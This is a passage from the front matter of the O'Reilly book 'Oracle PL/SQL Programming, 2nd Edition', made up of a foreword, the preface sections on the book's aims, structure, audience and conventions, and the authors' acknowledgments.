Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Foreword

The world is always changing for applications developers. In the early 1990s the emphasis was on the user interface, and the demand was overwhelming for PC clients with buttons, pop-up lists, tab folders, and other fancy GUI elements. We learned Visual Basic, PowerBuilder, SQL Windows, Access, and Paradox to meet that demand, or we suffered through the evolution of the Developer/2000 tools from Oracle Corporation. We were able to create instant legacy applications in just a matter of weeks -- legacy applications with a pretty interface and some of the ugliest, undocumented, nonoptimized, spaghetti code that you have ever seen. We could quickly build unreadable, unmaintainable code with all the application logic wrapped up in the interface elements.

Now it's Java, Java, Java, and more Java. Our clients want elegant multi-tier applications that run on any client from thin-client network computers to overstuffed NT workstations with hundreds of megabytes of memory, with that same instantaneous response they expected from client/server systems. Now our applications must support not hundreds of users on a local area network but thousands of users on the Internet. Oracle is even promising that you will be able to execute Java in the database server itself and write stored procedures in Java rather than PL/SQL. So why aren't we rushing off to learn Java? Because even with all of the hoopla over Java, PL/SQL is still the best way to build programs to access data in Oracle7 and Oracle8 databases. After Oracle began using PL/SQL to build its own tools for replication, the open APIs for Designer/2000 and Developer/2000, and the HTML generators, it began to pay a lot more attention to performance characteristics, and PL/SQL8 includes a number of significant enhancements to speed execution of complex PL/SQL logic. With these new improvements, PL/SQL8 assumes even more importance as the principal data access language for Oracle8.

Oracle has been methodically enhancing the capabilities of PL/SQL to make it the language of choice for developing distributed computing environments. When Oracle finally delivers client-side PL/SQL with the full characteristics of server-side code (effectively turning all clients into mini-servers for certain purposes), we will be able to build truly distributed environments for maximizing the effectiveness of our limited computing resources. We already can use PL/SQL packages and procedures from most good front-end tools, and that integration should get better over time. Almost every Java-based middleware connectivity tool is being released with support for PL/SQL. That should help make it easier to build the complex rules in a portable language that we can run in most popular hardware or software environments.

PL/SQL is a complex and powerful programming language that you can use to build a new generation of multi-tier systems -- systems that can scale up past the department LAN to enable world-wide enterprise systems on the Internet with the same reliability that we expect from old mainframe applications. The ability to build those systems does not mean that we will be able to manage our development environments effectively. You can be sure that the tools to help us cope with the complexity of truly distributed business objects will be slower to emerge, and we will all be in pretty deep before they are really ready.

We can start to get ready now as we begin to take advantage of the new power and sophistication of Oracle8's PL/SQL. We can start writing modular code that can be developed in a top-down manner with program names that truly describe their function. We can start to write PL/SQL code that we can reuse within and among our applications. We can apply the principles of good structured design to our development of PL/SQL packages, procedures, functions, etc. And we can use Oracle PL/SQL Programming as our source of the right way to write efficient and effective PL/SQL code.

Many of us have already adopted Oracle PL/SQL Programming as our programming "bible." Steven's no-nonsense approach to minimizing the amount of code he needs to write and maintain; his naming conventions that maximize the documentation content of his code; his innate ability to sniff out ways to make coding PL/SQL less drudgery and more creative -- all of these characteristics should be extremely useful and inspiring to good developers. The first edition of this book is one of the very few titles in my Oracle collection of more than 70 books that is actually dog-eared from use. All of my colleagues already know the book intimately.

I have known Steven Feuerstein and his work for a long time through my publishing of Oracle technical publications: the NY Oracle Users newsletter in 1989; the Oracle User Resource newsletter from 1990 to 1994; the International Oracle Users Journal from 1990 to 1992; the Proceedings of the East Coast Oracle Developers Conference from 1991 to 1996; and since 1994, Pinnacle Publishing's Oracle Developer. Steven has been my most prolific and admired writer for more than seven years.

Now that Steven (with the able help of Bill Pribyl) has updated the original version of Oracle PL/SQL Programming, I advise every Oracle developer to replace his or her own well-utilized copy with this new edition. They'll start out checking the new Oracle8 additions and the additional chapters on performance tuning, debugging, and tracing. But I think every one of them should have a copy of the new edition handy so they'll be prepared when someone comes to them with the inevitable questions about PL/SQL. Oracle8 is going to be the database behind many of the biggest systems on the Internet, and PL/SQL is going to be the language that makes it happen. The most successful Oracle developers and DBAs will be up to their ears in PL/SQL code -- and they'll be eternally grateful if that code is written in accordance with Steven and Bill's teachings.

As an extra treat, you should also find the book to be readable and entertaining, not easy adjectives to apply to most technical tomes. You will enjoy this book! I did.

Tony Ziemba
Editor, Oracle Developer
New York, NY
August 1997

Previous: Dedication | Oracle PL/SQL Programming, 2nd Edition | Next: Preface
Dedication | Book Index | Preface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Preface

Contents:
Objectives of This Book
Structure of This Book
Audience
Conventions Used in This Book
Which Platform or Version?
About the Disk
Comments and Questions
Acknowledgments

Thousands of application developers and database administrators around the world use software provided by Oracle Corporation to build complex systems that manage vast quantities of data. At the heart of much of Oracle's software is PL/SQL -- a programming language that provides procedural extensions to the SQL relational database language and an ever-growing range of Oracle development tools.

PL/SQL figures prominently as an enabling technology in almost every new product released by Oracle Corporation. Developers can use PL/SQL to perform many kinds of programming functions, including:

  • Implementing crucial business rules in the Oracle Server with PL/SQL-based stored procedures and database triggers

  • Enhancing powerful and easy-to-use GUI interfaces of products like Oracle Developer/2000 with detailed, programmatic control

  • Employing object-oriented design principles in Oracle-based applications

  • Linking a World Wide Web page to an Oracle database

Perhaps most importantly, PL/SQL plays a crucial role in the design of successful client-server applications because it provides the foundation for the code used to distribute processing and transactions across the network.

PL/SQL was modeled after Ada,[1] a programming language designed for the United States Department of Defense. Ada is a high-level programming language which emphasizes data abstraction, information hiding, and other key elements of modern design strategies.

[1] The language was named "Ada" in honor of Ada Lovelace, a mathematician who is regarded by many to have been the world's first computer programmer.

PL/SQL is a powerful language which incorporates many of the most advanced elements of procedural languages, including:

  • A full range of datatypes

  • Explicit block structures

  • Conditional and sequential control statements

  • Loops of various kinds

  • Exception handlers for use in event-based error handling

  • Constructs that help in the development of modular code -- functions, procedures, and packages (collections of related programs and variables); packages are often referred to as "poor man's objects"

  • User-defined datatypes such as objects and nested tables (with the Oracle objects option)

PL/SQL is integrated tightly into Oracle's SQL language: you can execute SQL statements directly from your procedural program. Conversely, you can also call PL/SQL functions from within a SQL statement.

Oracle developers who want to be successful in the 1990s and beyond must learn to use PL/SQL to full advantage. This is a two-step process: first, learn how to use the language's full set of features; and second, after mastering those individual features, learn how to put these constructs together to build complex applications.

How can you best learn PL/SQL? The usual way is to struggle with the software tool and, through trial and error, discover the best implementation techniques. With PL/SQL, a slow and uncertain process is made worse by several factors:

  • PL/SQL is still a relatively new language; there are few resources outside of Oracle manuals that will help you learn more. Classes tend to focus on the flashy side of the new GUI tools, and they ignore the more complicated programming that is so necessary in production applications. Books on Oracle technology try to cover too much territory and as a result cannot support developers as they move past the most basic requirements.

  • PL/SQL is just now maturing to the point where it offers and is supported by a comprehensive set of features and programmer utilities. For years, developers have complained about a lack of a debugger, the inability to read from and write to operating system files, no support for arrays, and other issues. Oracle Corporation has finally released versions of PL/SQL which address these complaints and are robust enough to support large-scale application development. To complement this robustness, third-party vendors are also beginning to offer useful programming environments.

  • PL/SQL is an island of procedurality in a sea of declarative or "fill-in-the-form" products; you have to figure out how to blend these two different approaches when you develop your code. It is one thing to click on a button in a designer interface and create a widget. It is quite another thing to learn how to manipulate that widget and handle the event-based interactions between widgets with procedural code.

For all of these reasons and more, Oracle developers need a solid, comprehensive resource for all things PL/SQL. You need to know about the basic building blocks of PL/SQL, but you also need to learn by example, so you can skip as much of the trial-and-error as possible. As with any programming language, there is a right way and many wrong ways (or at least "not as right" ways) in PL/SQL to handle just about every requirement you will meet. It's my hope that this book will help you learn how to use the PL/SQL language in the most effective and efficient way possible.

Objectives of This Book

What, specifically, will this book help you do?

Take full advantage of PL/SQL. The reference manuals may describe all the features of the PL/SQL language, but they don't tell you how to apply the technology. In fact, in some cases, you'll be lucky to even understand how to use a given feature after you've made your way through the railroad diagrams. Books and training courses tend to cover the same standard topics in the same limited way. In this book, we'll venture beyond to the edges of the language, to the nonstandard ways in which a particular feature can be tweaked to achieve a desired result.

Use PL/SQL to solve your problems. You don't spend your days and nights writing PL/SQL modules so that you can rise to a higher plane of existence. You use PL/SQL to solve problems for your company or your customers. In this book, I try hard to help you tackle real-world problems, the kinds of issues developers face on a daily basis (at least those problems that can be solved with mere software). To do this, I've packed the book with examples -- not just small code fragments, but complete application components you can apply immediately to your own situations. There is a good deal of code in the book itself, and much more on the disk that accompanies the book. In this book I guide you through the analytical process used to come up with a solution. In this way I hope you'll see, in the most concrete terms, how to apply PL/SQL features and undocumented applications of those features to a particular situation.

Write efficient, maintainable code. PL/SQL and the rest of the Oracle products offer the potential for incredible development productivity. If you aren't careful, however, this rapid development capability will simply let you dig yourself into a deeper, darker hole than you've ever found yourself in before. I would consider this book a failure if it only ended up helping programmers write more code in less time than ever before. I want to help you develop the skills and techniques that give you the time to build modules which readily adapt to change and are easily understood and maintained. I want to teach you to use comprehensive strategies and code architectures which allow you to apply PL/SQL in powerful, general ways to many of the problems you will face.

Previous: Foreword | Oracle PL/SQL Programming, 2nd Edition | Next: Structure of This Book
Foreword | Book Index | Structure of This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Structure of This Book

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

Structure of This Book

This second edition has changed from the first edition in a number of significant ways. Before listing the individual parts of the book, I want to explain the overall restructuring.

About the Second Edition

We (the authors and O'Reilly & Associates) are committed to providing comprehensive, useful coverage of the PL/SQL language over the life of this language. The first edition of this book covered most of PL/SQL's features as it existed through PL/SQL Release 2.3. With the release of Oracle8, however, we faced a challenge: how do we fit all the new technologies of PL/SQL8 into Oracle PL/SQL Programming and fill out coverage of existing elements of PL/SQL without creating a tome so unwieldy that reading the book becomes as much a physical as a mental workout?

Furthermore, if we look ahead a few years, we can easily expect that Oracle will continue to roll out expanded functionality in the objects area, as well as providing new and enhanced built-in packages. Given this situation, it quickly became clear to us that it was not practical to offer a single text which covered "all things PL/SQL."

Two questions then arose: what do we cut and what do we do with the stuff that we cut? The answers are as follows:

  • Move the package examples from the printed text to the disk. The second edition's disk offers a Windows-based interface designed by RevealNet, Inc. (http://www.revealnet.com) allowing you rapid access to the many utilities and samples. Now, instead of having to look through a directory listing and then using an editor to view those files, you will be able to mouse-click and drill-down your way to the topics in which you are interested. We take advantage of this interface to give you an easy way to examine the many examples of packages I built for the book.

  • Remove the chapter on built-in packages and expand it into a complete book. This chapter in the first edition offered lots of good information, but it was not comprehensive and simply couldn't keep growing to absorb all the new technology issuing forth from Oracle headquarters. Moving coverage of built-in packages to its own book will give us room to provide more and better information about this key element of the PL/SQL language. Appendix A, What's on the Companion Disk?, of this edition of Oracle PL/SQL Programming will still provide a quick reference to the more common built-in packages.

About the Contents

The second edition of Oracle PL/SQL Programming is divided into seven parts:

Part 1, Programming in PL/SQL

Chapters 1 through 3 explain what it means to program in PL/SQL and in Oracle-based applications in general. This part of the book introduces you to the main features of the PL/SQL language and gives you some general advice on programming habits and effective coding style.

Part 2, PL/SQL Language Elements

Chapters 4 through 10 describe the basic PL/SQL programming components -- variables, cursors, conditional and sequential control statements, loops, exception handlers, PL/SQL records, and PL/SQL tables. These chapters contain numerous examples, along with tips on how, when, and where to apply these programming constructs most effectively. When you complete this section of the book you will know how to apply all the constructs of the PL/SQL language. You will also be able to examine the complex requirements in your own applications and use the different parts of PL/SQL to implement those requirements.

Part 3, Built-In Functions

Chapters 11 through 14 present the many built-in (predefined) PL/SQL functions and procedures, which you can put to use immediately in your applications. One of the key barometers of your success with PL/SQL will be the extent to which you know how to leverage all of the capabilities that Oracle Corporation provides. (You don't want to have to reinvent the wheel when so many functions and procedures are provided for you.) Appendix C, Built-In Packages supplements Part 3 by summarizing the syntax of Oracle's built-in packages.

Part 4, Modular Code

Chapters 15 through 17 take you past the individual components of the PL/SQL language to explore modular construction in PL/SQL. You will learn how to build procedures, functions, and packages; more than that, you will learn how to build them correctly. More than with any other aspect of code, the way you design your modules has an enormous impact on your applications' development time, reusability, and maintainability.

Part 5, New PL/SQL8 Features

Chapters 18 through 21 contain the main discussion of the new features of Oracle8 -- in particular, object types, new types of collections (nested tables and VARRAYs), object views, and external procedures. Although we describe Oracle8 enhancements as appropriate in other sections of the book, we localize the major discussion here. Doing so allows developers new to Oracle8 to learn about the features in a coordinated way. It also lets developers still working on Oracle7 systems to skip over much of the discussion until it is more relevant to them.

Part 6, Making PL/SQL Programs Work

Chapters 22 through 26 tell you how to manage your PL/SQL code and debug, tune, and trace the execution of your programs. This part of the book also contains a summary of particularly helpful tips for effective PL/SQL programming in the real world.

Part 7, Appendixes

Appendixes A through C summarize what's on the companion disk, how to call stored procedures from PL/SQL Version 1.1, and how to call Oracle's built-in packages.

If you are new to PL/SQL, reading this book from beginning to end should improve your skills and help your understanding widen in a gradual, natural process. If you're already a proficient PL/SQL programmer, you'll probably want to dip into the appropriate sections in order to extract particular techniques for immediate application. Whether you use this book as a teaching guide or as a reference, I hope that it will have a significant impact on your ability to use PL/SQL most effectively.

Long as this book is, it doesn't do everything. The Oracle environment is a huge and complex one, and in this book I've focused my attention on PL/SQL itself. Some topics are outside the logical scope of this book. Therefore, this book does not cover:

  • Administration of Oracle databases. While the DBA can use this book to learn how to write the PL/SQL needed to build and maintain databases, this book does not explore all the nuances of the Data Definition Language (DDL) of Oracle's SQL.

  • Application and database tuning. I don't cover detailed tuning issues in this book, though the second edition does add a chapter on PL/SQL tuning. Oracle Performance Tuning by Peter Corrigan and Mark Gurry (O'Reilly & Associates, Second Edition, 1997) gives you all the information you need about tuning your Oracle applications.

  • Oracle tool-specific technologies independent of PL/SQL. This book won't teach you everything you need to know about such technologies as SQL*Forms and Oracle Forms triggers. Similarly, you won't find detailed discussions of repeating frames of Oracle Reports in here. Nevertheless, many of the techniques offered in this book certainly do apply to the Oracle Developer/2000 environment.

  • Third-party application development software. There are many alternatives to using PL/SQL and the tools supplied by Oracle to build your applications. This book does not address these options, nor does it attempt to compare PL/SQL to these third-party products.

  • National Language Support in Oracle. This book does not offer comprehensive coverage of Oracle's National Language Support (NLS) capabilities for developing applications for multiple languages.

  • Trusted Oracle. Oracle Corporation has developed a special version of its Oracle7 Server for high-security environments. This book does not detail the additional datatypes and features available only for Trusted Oracle.

Previous: Objectives of This Book | Oracle PL/SQL Programming, 2nd Edition | Next: Audience
Objectives of This Book | Book Index | Audience
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Audience

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

Audience

This book was designed to be used by anyone who needs to develop Oracle-based applications using the PL/SQL programming language. There are a number of distinct audiences:

Role | How to Use the Book
Information systems manager | The application development or database administration manager in an Oracle shop needs a thorough grasp of the technology used in the development groups. Familiarity with the technology will help the manager to better understand the challenges faced by the team members and the ability of that team to solve problems. These managers will want to pay particular attention to Part 4, for the big picture of structuring PL/SQL-based applications.
One-person information systems shop | Oracle licenses are frequently sold into small companies or departments where the supporting information systems organization consists of little more than a single manager and single developer (or perhaps both of those functions rolled into one). These small organizations do not have the time to search through multiple manuals or sets of training notes to find the solution to their problems. This book offers one-stop shopping for these people -- a consolidated reference and solutions source.
Database administrator | The DBA in the world of Oracle7 needs to build database triggers and stored procedures in order to manage business rules at the RDBMS levels and implement distributed databases. The DBA will use this book to strengthen his or her understanding of how to write efficient RDBMS-level objects. This book will also discuss constructing packages of related objects which will reduce the resources required to maintain these objects.
New developer in the Oracle Developer/2000 environment | Many developers arrive fresh on the Oracle scene through the use of the new Oracle Developer/2000 tools in the Windows environment. These developers will be comfortable manipulating the various widgets in the GUI world, but will find PL/SQL to be a strange, new partner for development. This book will quickly bring them up to speed and make them more productive users of Oracle Developer/2000 software.
Experienced Oracle developer | Many thousands of programmers have spent years writing, debugging, and maintaining programs written in SQL*Forms, SQL*Reportwriter, SQL*Plus, and SQL*Menu. While their PL/SQL skills have progressed to meet the needs of specific applications, most could expand both their PL/SQL knowledge and their awareness of its subtleties. In addition, as developers move into the Oracle Developer/2000 generation, PL/SQL plays a significantly more central role; the developer will have to gain new expertise to meet the demands of this change.
Consultant | Consultants must offer a high level of service and quality to their customers. This added value is measured in productivity and in the application of skills not currently held by the client. Consultants should find this book an invaluable aid in deepening their understanding of PL/SQL technology.

Previous: Structure of This Book | Oracle PL/SQL Programming, 2nd Edition | Next: Conventions Used in This Book
Structure of This Book | Book Index | Conventions Used in This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Conventions Used in This Book

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

Conventions Used in This Book

The following conventions are used in this book:

Italic

is used for file and directory names.

Constant width

is used for code examples.

Constant width bold

In some code examples, highlights the statements being discussed.

Constant width italic

In some code examples, indicates an element (e.g., a filename) that you supply.

UPPERCASE

In code examples, indicates PL/SQL keywords.

lowercase

In code examples, indicates user-defined items such as variables, parameters, etc.

punctuation

In code examples, enter exactly as shown.

indentation

In code examples, helps to show structure but is not required.

--

In code examples, a double hyphen begins a single-line comment, which extends to the end of a line.

/* and */

In code examples, these characters delimit a multiline comment, which can extend from one line to another.

.

In code examples and related discussions, a dot qualifies a reference by separating an object name from a component name. For example, dot notation is used to select fields in a record and to specify declarations within a package.

< >

In syntax descriptions, angle brackets enclose the name of a syntactic element.

[ ]

In syntax descriptions, square brackets enclose optional items.

...

In syntax descriptions, an ellipsis shows that statements or clauses irrelevant to the discussion were left out.

Previous: Audience | Oracle PL/SQL Programming, 2nd Edition | Next: Which Platform or Version?
Audience | Book Index | Which Platform or Version?
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Which Platform or Version?

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

Which Platform or Version?

In general, all of the discussions and examples in this book apply regardless of the machine and/or operating system you are using. In those few cases where a feature is in any way system-dependent, I note that in the text.

There are many versions of PL/SQL, and you may even find that you need to use multiple versions in your development work. Chapter 1, Introduction to PL/SQL describes in detail the many versions of PL/SQL and what you need to know about them; see Section 1.4, "PL/SQL Versions" in Chapter 1 in Chapter 1.

Previous: Conventions Used in This Book | Oracle PL/SQL Programming, 2nd Edition | Next: About the Disk
Conventions Used in This Book | Book Index | About the Disk
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] About the Disk

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

About the Disk

The content of the companion Windows disk for this book has been included on this CD, in the /prog2/disk/ directory. This disk contains the Companion Utilities Guide for Oracle PL/SQL Programming, an online tool developed by RevealNet, Inc. that gives you point-and-click access to more than 100 files of source code and documentation that we developed. Many of the code examples are also printed in the book. We've included these to give you a jump start on writing your own PL/SQL code and to keep you from having to type many pages of PL/SQL statements from printed text.

Appendix A, describes how to install the Windows-based interface. You can run the software in any Microsoft Windows environment. If you are working in a non-Windows environment, you can obtain a compressed file containing the utilities on the desk from the RevealNet PL/SQL Pipeline Archives at http://www.revealnet.com/plsql-pipeline.

Previous: Which Platform or Version? | Oracle PL/SQL Programming, 2nd Edition | Next: Comments and Questions
Which Platform or Version? | Book Index | Comments and Questions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Comments and Questions

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

Comments and Questions

Please address comments and questions concerning this book to the publisher:

O'Reilly & Associates
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the U.S. or Canada)
1-707-829-0515 (international or local)
1-707-829-0104 (FAX)

You can also send us messages electronically. See the insert in the book for information about O'Reilly & Associates' online services.

For corrections and amplifications for the book, check out http://www.oreilly.com/catalog/oraclep2/.

If you have any questions about the disk supplied with this book, contact RevealNet Inc. at http://www.revealnet.com.

Previous: About the Disk | Oracle PL/SQL Programming, 2nd Edition | Next: Acknowledgments
About the Disk | Book Index | Acknowledgments
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Acknowledgments

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

Acknowledgments

We're determined not to miss anyone here. Here are the original acknowledgments from the first edition (because we're still grateful to you all), the new acknowledgments from Steven, and the acknowledgments from Bill.

First Edition (Steven)

As a teenager and young man, I wrote many poems, works of short fiction, and uncompleted novels. I dreamed of being an author and sent out my share of manuscripts and self-addressed, stamped envelopes. I never thought that my first book would be on software programming techniques, but here it is! I have tried to keep the fictional content down to an absolute minimum.

I was assisted by many people as I conceived of, wrote, and then polished this text. I would like to thank the following individuals for reviewing draft versions of this book: Jennifer Blair of Blair Technical Training, Eric Camplin of SSC, Joe Celko of OSoft Development Corporation, Avery Cohen of Synectics, Thomas Dunbar, Computer System Engineer at Virginia Tech, R. James Forsythe of PCS Technologies, Mike Gangler of Sharidionne, Gabriel Hoffman of PCS Technologies, Karen Peiser of SSC, Pete Schaffer of SSC, and David Thompson of Spectrum Group.

While all of the people listed above made a contribution, I received particularly detailed and insightful feedback from three people: David Thompson, who saved me much embarrassment from technical glitches in Part 3 and singlehandedly recoded an obtuse example into a well-thought-out illustration of concepts; Thomas Dunbar, who helped me liberate this book from the confines of the Oracle development tools; and Avery Cohen, whose sharp eye and organized mind greatly improved Part 4.

One of the most dramatic improvements at Oracle Corporation in the last few years is its eagerness to work with those of us outside of the company to help utilize fully its technology. Many individuals at Oracle Corporation have supported the writing of this book. Technical reviewers from Oracle Corporation included Cailein Barclay, Sunil Bhargava, Boris Burshteyn, Gray Clossman, Radhakrishna Hari, James Mallory, Nimesh Mehta, Jeff Muller, Dave Posner, Chris Racicot, Peter Vasterd, and Zona Walcott. These reviews were especially helpful in clarifying language and concepts and in improving technical accuracy. I am grateful for their time and attention.

Two Oracle employees made a special effort on my behalf and I offer them my warmest thank-yous: Peter Vasterd, Product Manager of Server Technologies, who responded rapidly to each of my questions, coordinated the technical review of my book by Oracle Corporation employees, and was especially helpful in the final stages of the book; and Nimish Mehta, Vice-President of the Desktop Products Division and a friend from the early days of SQL*Reportwriter, who was more than generous in providing early releases of software I needed to test and develop the code for this book.

In addition to the reviewing process, many other Oracle employees gave of their time, knowledge, and resources to strengthen this book, including Sohaib Abassi, Per Brondum, Ivan Chong, Bill Dwight, Steve Ehrlich, Bushan Fotedar, Ken Jacobs, Nimish Mehta, Steve Muench, Sri Rajan, and Mark Richter.

Of course, the universe of people who provide a support network for this kind of project goes far beyond those directly involved in the writing and reviewing. For the past three years I have been very fortunate to have been a consultant in SSC, a systems management consulting firm led by Bill Hinman. Bill has created a unique, empowering professional environment. Rather than try to bind his employees to SSC, Bill has sought to offer a guild-like atmosphere in which we each are encouraged to cultivate our own interests, develop a vision, and, of course, hone our technical skills. My time with SSC has exceeded all expectations and we are still just cranking up the model! Hugo Toledo, a fellow SSC consultant, has also been especially supportive of my work. He is one of the most helpful, generous, and intelligent people I have ever met, with a breadth and depth of knowledge about data processing technology that continually astonishes me. For three years, he has always been ready to lend a hand and answer a question, and I am grateful to him for his friendship and commitment.

As I became more active in writing articles and papers for the Oracle User Group community, two editors provided encouragement and steady outlets for my work: Tony Ziemba, editor of Pinnacle's Oracle Developer newsletter, and Bill Pribyl, former and outstanding editor of the IOUG Select magazine. They have both had a wide and lasting impact on improving the flow of quality technical information to Oracle users around the world.

Of course, I would not have been able to write this book without the invaluable experience I gained during my years at Oracle Corporation. I want to thank, in particular, John Cordell, who brought me into Oracle Corporation and guided me through the shoals of Oracle politics and technology, and Beverly Gibson, who worked hard to create special opportunities for so many talented technicians in the sales force. I had the privilege of working with many other incredibly smart, funny, dedicated, and energetic people at Oracle between 1987 and 1992 and I will always treasure that experience.

Thanks to all the people at O'Reilly & Associates who turned my manuscript into a finished book: to Debby Russell, my time-slicing, parallel-processing editor who managed to wrestle this book down to publishable size; Mike Sierra, whose wizardry converted hundreds of pages of Microsoft Word files to FrameMaker; Gigi Estabrook, who read and edited the book several times to prepare drafts for technical review and the East Coast Developer's Conference; Edie Freedman, who designed the cover, and Nancy Priest, who designed the interior layout; Donna Woonteiler, who copyedited the final draft of the book and brought order to the fonts; Chris Reilley and Michelle Willey, who prepared the diagrams; Debby Cunha, Michael Deutsch, John Files, and Juliette Muellner, who edited the files; Cory Willing, who did a final proofreading; Seth Maislin, who prepared the index; Kismet McDonough Chan, who did the final quality control on the book; and Clairemarie Fisher O'Leary, drill sergeant, who pulled together all the pieces of final production.

Finally, I thank my wife, Veva Silva Feuerstein, for her support and tolerance of the absorption of so many of our evenings and weekends in the past year.

Second Edition (Steven)

I know! Instead of saying "Finally, I thank my wife" at the end of this section, I will do it first: Thanks, Veva, for being a fantastic partner and wonderful mother. Sure, I could have written this book without you (actually, I did write this book without you. You don't know anything about PL/SQL...), but without you my life would be empty, so I wouldn't care that I wrote the book.

Wow, what a fast and fascinating trip this has been! The first edition of this book was published in September 1995 and it certainly changed my life. Clearly, the book touched a nerve and filled a need. The book's reception showed that Oracle developers have been desperate for both clear reference information on the PL/SQL language and, perhaps more importantly, tips on how best to take full advantage of this core Oracle technology. From what my readers have told me, Oracle PL/SQL Programming has been a big help. I am very glad that all those trees were not chopped down in vain. I furthermore feel a real obligation to my readers to maintain this text, and my growing series on PL/SQL, so that you may continue to get the most out of this important language. (Who knows? It might even outlive Java!)

The human most responsible for making this second edition possible is Bill Pribyl. When it became clear that Oracle would finally release Oracle8 and that PL/SQL would be changed in fundamental ways, I started to panic. How could I learn everything I needed to learn about object-oriented programming, as well as PL/SQL8, and then write all that down to be published in the fall of 1997, on top of everything else I was doing? It just didn't seem possible. So I sent a plea for help out to a few select people whom I knew were solid writers and outstanding Oracle technicians. Bill quickly exposed a masochistic sliver of his personality by agreeing to cover many of the new features of PL/SQL8 for this edition. He also proved to be a great writer, infused with discipline and enthusiasm for the project. I believe his text (and sense of humor) meshes well with the existing content of the book; I am sure you will feel the same.

This second edition is much more a product of the worldwide PL/SQL developer community than the first edition. I have received hundreds of messages from readers over the past two years, pointing out errors in the text, asking for clarification, and offering suggestions for improvements. I love to hear from you and I do read every single critique, so please keep the comments coming. I am particularly indebted to Eric Givler, Systems Analyst, Department of Environmental Protection, State of Pennsylvania. He pored over my first edition with a devotion and fanaticism that was totally unsolicited and deeply appreciated. He uncovered many, many errors in my first text (I am embarrassed to admit to their volume), and has therefore contributed mightily to the much-improved quality of this second edition. I therefore forgive him his occasional wisecrack at my expense.

Many others helped in ways large and small. Bert Scalzo, Senior DBA/Data Architect at Analysts International Corp (AIC) provided quick reference material for Appendix C. John Beresniewicz of Savant has offered advice and support since the day I met him at the ECO96 conference in Washington, DC. Tom White and Steve Hilker of RevealNet have not only been wonderfully supportive, but they have established a viable commercial outlet for my software, PL/Vision, and for that I am deeply grateful.

At Oracle Corporation, Thomas Kurian made certain that we got the software, support, and answers we needed to make this book technically sound. Also among the contributors were some extremely helpful folks on the Oracle8 development team, approximately 15 of whom fielded our questions at one point or another. In particular, Radhakrishna Hari provided solid and helpful reviews of the Oracle8 material. Shirish Puranik and Kannan Muthukkaruppan assisted with the performance tuning tips in Chapter 25, Tuning PL/SQL Applications.

As with the first edition, Debby Russell of O'Reilly & Associates carried this book through to publication. I have greatly enjoyed working with Debby and hope to do so for a good many other books. This second edition was prepared in record time, in no small part due to Debby's professionalism and competence, not to mention the skills and devotion of the rest of her team: Jane Ellin, the production editor who also copyedited the manuscript; Mike Sierra, who converted the new files to Frame and helped in many other ways; Kimo Carter, who entered edits into the files; Madeleine Newell, who provided extensive production support; Rob Romano, who created the new figures; Edie Freedman, who designed the cover, and Nancy Priest, who designed the interior format; and Seth Maislin, who prepared the index.

Many of the people who helped me in the first edition also stood by me for the second edition. Without repeating all of their names again, I once again thank them.

Second Edition (Bill)

